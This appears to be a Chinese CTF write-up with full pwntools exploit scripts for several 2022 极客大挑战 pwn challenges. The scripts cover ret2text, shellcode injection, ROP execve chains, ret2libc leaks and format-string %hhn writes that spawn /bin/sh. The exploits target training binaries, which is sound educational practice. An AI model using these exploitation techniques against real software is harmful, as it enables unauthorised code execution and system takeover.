【pwn】2022 极客大挑战
创始人
2024-02-08 10:39:29
0

【pwn】2022 极客大挑战

前言

又是一年的极客大挑战,又老了一岁,也只有打打新生赛才能有第一次接触ctf快乐了,现在各种比赛的pwn都是纯纯的坐牢~

本次题解的所有脚本使用的类库都是本人自己整合的一个库,github地址:https://github.com/Awoodwhale/pwn_all_in_one

nc

直接nc连接

pwn1_1

简单的ret2text

from pwntools import *init("./pwn1_1")backdoor = 0x401196payload = b"b"*0x10 + b"woodwood" + p64(backdoor)sl(payload)ia()

pwn2_1

也是有后门的

from pwntools import *init("./pwn2_1")payload = b"\x00"*0x10 + b"woodwood" + p64(0x4011EF)
sl(payload)
ia()

pwn2_2

简单的ret2shellcode

from pwntools import *init("./pwn2_2")backdoor = 0x4040A0sla("number:", asm(shellcraft.sh()))
sla("buf: ", b"b"*0x18 + p64(backdoor))ia()

pwn2_3

首先获取栈地址,调试查看偏移获取ret_address的地址,在栈里写shellcode,最后用任意写把ret_address的地址写成存放shellcode的栈地址,这样就能执行shellcode了(这种方式需要保证shellocde的长度不会覆盖到canary,否则会触发canary的保护机制,当然还有一种方式,可以把stack_chk_fail的got表改成shellcode的地址)

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp2_3.py
# @Author  :  woodwhale
# @Time    :  2022/11/02 15:27:21
# -----------------------------------from pwntools import *# context.log_level = "debug"init("./pwn2_3")io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libcpop_rdi = 0x0000000000001383ru("0x")
stack_addr = leak(i16(rl()), "stack_addr")sa("Give me your buf: ", asm(shellcraft.sh()))
sla("rb_write to you:", str(stack_addr + 0x118))
tmp = hex(stack_addr)[2:]# dbg();pau()
sa("Data: ",p8(i16(tmp[-2:]))+ p8(i16(tmp[-4:-2]))+ p8(i16(tmp[-6:-4]))+ p8(i16(tmp[-8:-6]))+ p8(i16(tmp[-10:-8]))+ p8(i16(tmp[-12:-10])),
)ia()

pwn3_1

不是很想ret2libc,所以使用了一个独特的gadget来进行任意地址写mov_rsi_eax

原理就是把一个bss段地址写入/bin/sh\x00,然后使用syscall调用execve("/bin/sh",NULL,NULL)

因为我找来的gadget是用的eax,所以每次只能写32位,所以这里/bin/sh\x00分了两次写,写完了之后就调用syscall就好啦!

from pwntools import *context.log_level = "debug"
init("./pwn3_1")pop_rax = 0x0000000000449307
pop_rdi = 0x0000000000401882
pop_rsi = 0x000000000040f1ce
pop_rdx = 0x000000000040178f
syscall = 0x00000000004012d3
syscall_ret = 0x0000000000416f04mov_rsi_eax = 0x000000000047bc06def fflat(lst):res = b""for l in lst:res += p64(l)return respayload = b"b"*0x18 + fflat([pop_rsi, 0x4c3000,pop_rax, 0x6e69622f,    # /binmov_rsi_eax,0x401D25
])sla(";", payload)
time.sleep(1)payload = b"b"*0x18 + fflat([pop_rsi, 0x4c3004,pop_rax, 0x68732f,  # /shmov_rsi_eax,0x401D25
])sla(";", payload)
time.sleep(1)payload = b"b"*0x18 + fflat([pop_rdi, 0x4c3000,pop_rsi, 0,pop_rdx, 0,pop_rax, 59,syscall_ret # execve("/bin/sh", 0, 0)
])
sla(";", payload)ia()

pwn3_2

直接ret2system,调用system("/bin/sh")

from pwntools import *init("./pwn3_2")sa("number", b"/bin/sh\x00")# dbg();pau()
sla("thing", b"b"*0x18 + p64(0x000000000040101a) +p64(0x00000000004012c3) + p64(0x404090) + p64(pwnio.elf.sym["system"]))ia()

pwn3_3

基础的ret2libc version3

使用puts泄露puts_got中存放libc中的puts地址,从而计算libc_base

获取system和binsh的地址后就可以ret2system了

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/09 21:40:48
# -----------------------------------from pwntools import *init("./pwn3_3")io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libcpop_rdi = 0x00000000004012f3
main = 0x4011F0
payload = flat(b"b"*0x18, pop_rdi, elf.got["puts"],elf.sym["puts"], main
)
sla(":", payload)
puts_addr = leak(l64(), "puts_addr")
system, binsh = ret2libc(puts_addr, "puts", libc)
payload = flat(b"b"*0x18,pop_rdi, binsh,system
)
sla(":", payload)
ia()

pwn4_1

也是ret2libc version3,只不过这里用的是write

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/09 21:49:30
# -----------------------------------from pwntools import *init("./pwn4_1")io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libcpop_rdi = 0x00000000004012c3
pop_rsi_r15 = 0x00000000004012c1
main = 0x4011D0payload = flat(b"b"*0x18, pop_rdi, 1,pop_rsi_r15, elf.got["write"], 0,elf.sym["write"],main
)
# dbg();pau()
sla(")", payload)write_addr = leak(l64(), "write")
system, binsh = ret2libc(write_addr, "write", libc)payload = flat(b"b"*0x18, pop_rdi, binsh,system
)
sla(")", payload)
ia()

pwn4_2

和上一题一样

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/09 21:59:23
# -----------------------------------from pwntools import *init("./pwn4_2")pop_rdi = 0x0000000000401253
pop_rsi_r15 = 0x0000000000401251
main = 0x4011B0
magic = 0x4011FDio: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libcpayload = flat(b"b"*0x18,pop_rdi, 1,pop_rsi_r15, elf.got["write"],magic,elf.sym["write"],main
)sla(")", payload)
write = leak(l64(), "write")
system, binsh = ret2libc(write, "write", libc)payload = flat(b"b"*0x18,pop_rdi, binsh,system
)sla(")", payload)ia()

pwn4_3

这题比较有趣了,格式化字符串的漏洞,但是ban了格串的字符

如何绕过?

在这里插入图片描述

  • '%' + ' '*16 + 'p'

也就是用空格绕过就行了

用上面的%p获取libc地址,找到one_gadget的地址,把ret_address用fmt写成one_gadget

这里任意地址写较为复杂,需要计算一下偏移来写入,我在脚本中的write函数中使用%hhn来进行单字节的任意地址写

如下脚本提供了写rop链和写one_gadget的两种方式,不知道为啥写rop无法执行,但是one_gadget可以获取shell

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/19 15:08:11
# -----------------------------------from pwntools import *# context.log_level = "debug"init("./never_get_P")io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libcdef write(want, addr, need_add=False):padding = wantpadding_two = 8 - (padding + 7) % 8l = (padding + 7 + padding_two) // 8 + 6info(f"{hex(want), hex(addr)}")payload = (b"b" * padding+ f"%{l}$hhn".encode()+ b"\x00" * (padding_two + (1 if need_add else 0))+ p64(addr))s(payload)time.sleep(1)rop = Falsedef pwn():ru("0x")stack_addr = leak(i16(r(12)), "stack_addr")ru("You~cAn't~geT~P!!!!")sl("%137$" + " " * 13 + "p")ru("0x")libc.address = leak(i16(r(12)) - (0x7F83420290B3 - 0x7F8342002000), "libc_base")system_addr = libc.sym["system"]pop_rdi_ret = libc.address + 0x0000000000026B72ret = libc.address + 0x0000000000025679info("ret", ret)binsh_addr = stack_addr + 0x20 + 2info("binsh", binsh_addr)one_gadget = libc.address + 0xE6AF1info("one_gadget", one_gadget)ret_addr = stack_addr + 1080info("ret_addr", ret_addr)if rop:write(i16(hex(ret)[-2:]), ret_addr)write(i16(hex(ret)[-4:-2]), ret_addr + 1)write(i16(hex(ret)[-6:-4]), ret_addr + 2)write(i16(hex(ret)[-8:-6]), ret_addr + 3)write(i16(hex(ret)[-10:-8]), ret_addr + 4)write(i16(hex(pop_rdi_ret)[-2:]), ret_addr + 8)write(i16(hex(pop_rdi_ret)[-4:-2]), ret_addr + 8 + 1)write(i16(hex(pop_rdi_ret)[-6:-4]), ret_addr + 8 + 2)write(i16(hex(pop_rdi_ret)[-8:-6]), ret_addr + 8 + 3)write(i16(hex(pop_rdi_ret)[-10:-8]), ret_addr + 8 + 4)write(i16(hex(binsh_addr)[-2:]), ret_addr + 8 * 2)write(i16(hex(binsh_addr)[-4:-2]), ret_addr + 8 * 2 + 1)write(i16(hex(binsh_addr)[-6:-4]), ret_addr + 8 * 2 + 2)write(i16(hex(binsh_addr)[-8:-6]), ret_addr + 8 * 2 + 3)write(i16(hex(binsh_addr)[-10:-8]), ret_addr + 8 * 2 + 4)write(i16(hex(system_addr)[-2:]), ret_addr + 8 * 3, True)write(i16(hex(system_addr)[-4:-2]), ret_addr + 8 * 3 + 1)write(i16(hex(system_addr)[-6:-4]), ret_addr + 8 * 3 + 2)write(i16(hex(system_addr)[-8:-6]), ret_addr + 8 * 3 + 3)write(i16(hex(system_addr)[-10:-8]), ret_addr + 8 * 3 + 4)write(i16(hex(system_addr)[-12:-10]), ret_addr + 8 * 3 + 5)else:write(i16(hex(one_gadget)[-2:]), ret_addr)write(i16(hex(one_gadget)[-4:-2]), ret_addr + 1)write(i16(hex(one_gadget)[-6:-4]), ret_addr + 2)write(i16(hex(one_gadget)[-8:-6]), ret_addr + 3)write(i16(hex(one_gadget)[-10:-8]), ret_addr + 4)write(i16(hex(one_gadget)[-12:-10]), ret_addr + 5)sl("Y\x00/bin/sh\x00")ia()pwn()

pwn5_1

格式化字符串泄露libc和canary地址,然后直接ret2libc就好了

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/20 12:56:47
# -----------------------------------from pwntools import *init("./pwn5_1")io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libcs("%43$p%45$p")
ru("0x")
canary = leak(i16(r(16)), "canary")
ru("0x")
libc.address = leak(i16(r(12)) - (0x7FD962B41083 - 0x7FD962B1D000), "libc_base")system_addr = libc.sym["system"]
binsh_addr = next(libc.search(b"/bin/sh\x00"))payload = (b"b" * 0x108+ p64(canary)+ p64(0xdeadbeef)+ p64(libc.address + 0x0000000000022679)+ p64(libc.address + 0x0000000000023B6A)+ p64(binsh_addr)+ p64(system_addr)
)
sla("second read", payload)
ia()

相关内容

热门资讯

墨子的经典名言 墨子的经典名言  1.爱人利人者,天必福之;恶人贼人者,天必祸之。……爱人利人以得福者有矣,恶人贼人...
名人名言摘抄 名人名言摘抄(精选16篇)  名人名言是指为人类发展做出贡献的,富有知识的名人所说的能够让人懂得道理...
司马迁的名言 司马迁的名言  在我们平凡的日常里,大家都听说过或者使用过一些比较经典的名言吧,名言可以用来鞭策自己...
卡莱尔的名言 卡莱尔的名言  1、天才就是无止境刻苦勤奋的能力。——卡莱尔  2、只有传记是真实的历史。——卡莱尔...
经典古文名言 经典古文名言大全  名言基本意思是很出名的说法,著名的话,一般指名人说的话。下面和小编一起来看经典古...
培根的至理名言佳句 培根的至理名言佳句  1、暂时解接的人,不能算是冤家。  2、读书使人成为完善的人。  3、天性好比...
教育家名言_教育名言名句   教师个人的范例,对于青年人的心灵,是任何东西都不能代替的最有用的阳光。如下是中国人才网给大家整理...
小学教育格言   小学教育格言  1、教学是发现,是分享,是成长,是兴奋和爱。——钱艳  2、礼貌是最容易做到的事...
小学生格言   小学生格言  1、不怕慢,就怕站。  2、树挪死,人挪活。  3、沉思的生活是美好的生活。  4...
刘基的名言 刘基的名言  1、邦无道,富加贵,耻也!  2、大其心,容天下之物;虚其心,受天下之善;平其心,论天...
蒋晓云的经典名言 蒋晓云的经典名言  我独自发着‘思古之幽情’,实际却好像在一个电影布景里。  虽然学历并没影响她一生...
菜根谭修身名言名句 菜根谭修身名言名句,以下是大学网小编精心整理的相关文章,希望对大家有所帮助!菜根谭修身名言名句欲做精...
读书的名人名言 读书的名人名言(通用190句)  读书之法无他,惟是笃志虚心,反复详玩,为有功耳。下面是小编为你整理...
经典的名人名言180条 经典的名人名言(精选180条)  在平平淡淡的学习、工作、生活中,大家都知道一些经典的名言吧。以下是...
科学家的名言 科学家的名言集锦  名言基本意思是很出名的说法,著名的话,一般指名人说的话。下面和小编一起来看科学家...
屈原名言名句 屈原名言名句  无论在学习、工作或是生活中,大家都接触过很多优秀的名言吧,名言是我国文化悠久,博大精...
德谟克利特名言名句阅读欣赏 德谟克利特名言名句大全阅读欣赏  德谟克利特名言名句大全  1、单单一个有智慧的人的友谊,要比所有愚...
人生哲理格言 人生哲理格言合集50句  人生需要积累,更需要沉淀,要常回头看看,用足够的时间去反思,在品味得失和甘...
热爱工作励志名言名句 热爱工作励志名言名句  在学习、工作或生活中,大家一定都接触过一些使用较为普遍的名言吧,巧用名言有助...
生命的格言 关于生命的格言(精选90句)  无论是在学校还是在社会中,大家都不可避免地会接触并使用名言吧,在议论...